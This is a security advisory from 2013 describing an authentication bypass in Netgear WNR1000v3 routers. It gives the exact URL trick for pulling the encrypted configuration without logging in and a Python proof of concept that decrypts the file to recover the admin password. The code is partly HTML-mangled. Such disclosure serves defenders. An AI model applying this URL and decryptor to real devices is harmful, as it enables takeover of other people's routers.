Authentication bypass on Netgear WNR1000

2013-04-08T00:00:00
ID SECURITYVULNS:DOC:29239
Type securityvulns
Reporter Securityvulns
Modified 2013-04-08T00:00:00

Description

Authentication bypass on Netgear WNR1000

[ADVISORY INFORMATION] Title: Authentication bypass on Netgear WNR1000 Discovery date: 10/11/2012 Release date: 29/03/2013 Credits: Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)

[VULNERABILITY INFORMATION] Class: Authentication bypass, weak encryption

[AFFECTED PRODUCTS] This security vulnerability affects the following products and firmware versions: * Netgear WNR1000v3, firmware version < 1.0.2.60

Other products and firmware versions are probably also vulnerable, but they were not checked.

[VULNERABILITY DETAILS] The web server running on the affected devices is subject to an authentication bypass issue that allows attacker to gain administrative access, circumventing existing authentication mechanisms.

Strictly speaking, the web server skips authentication checks for some URLs, such as those that contain the substring ".jpg" (without quotes). As a consequence, an attacker can retrieve the current device configuration by accessing the following URL:

http://<target-ip-address>/NETGEAR_fwpt.cfg?.jpg

The resulting configuration file is encrypted. However the device implements a trivial encryption scheme, that can be reversed quite easily. From the configuration file, attackers can extract, among the other things, the clear-text password for the "admin" user.

A Python procedure that implements the aforementioned encryption scheme follows (the code of this PoC is inefficient and is quite a mess):

<cut> import pyDes import os, sys

Encryption key is a slightly variation of "NtgrBak"

KEY = [0x56-8, 0x74, 0x67, 0x72, 0x42, 0x61, 0x6b, 0x00]

def derive_des_key(ascii_key): def extract_by_offset(offset): byte_index = offset >> 3 bit_index = byte_index << 3

    v0 = &#40;ascii_key[byte_index] &lt;&lt; 8&#41; | ascii_key[byte_index+1]
    v1 = 8 - &#40;offset - bit_index&#41;
    v0 &gt;&gt;= v1
    return v0 &amp; 0xfe

k = &quot;&quot;
for i in range&#40;0, 7*8, 7&#41;:
    k += chr&#40;extract_by_offset&#40;i&#41;&#41;
return k

def decrypt_block(block, key_bytes): k = derive_des_key(key_bytes) des = pyDes.des(k, pyDes.ECB) r = des.decrypt(block) return r

def main(): data = sys.stdin.read() assert (len(data) % 8) == 0

current_key = KEY[:]

r = &quot;&quot;
for i in range&#40;0, len&#40;data&#41;, 8&#41;:
    current_key[0] += 8
    if current_key[0] &gt; 0xff:
        current_key[0] = current_key[0] - 0x100
        current_key[1] += 1

    block = data[i:i+8]
    d = decrypt_block&#40;block, current_key&#41;

    r += d

sys.stdout.write&#40;r&#41;

</cut>

[REMEDIATION] This issue has been addressed by Netgear with firmware version 1.0.2.60.

[DISCLAIMER] The author is not responsible for the misuse of the information provided in this security advisory. The advisory is a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.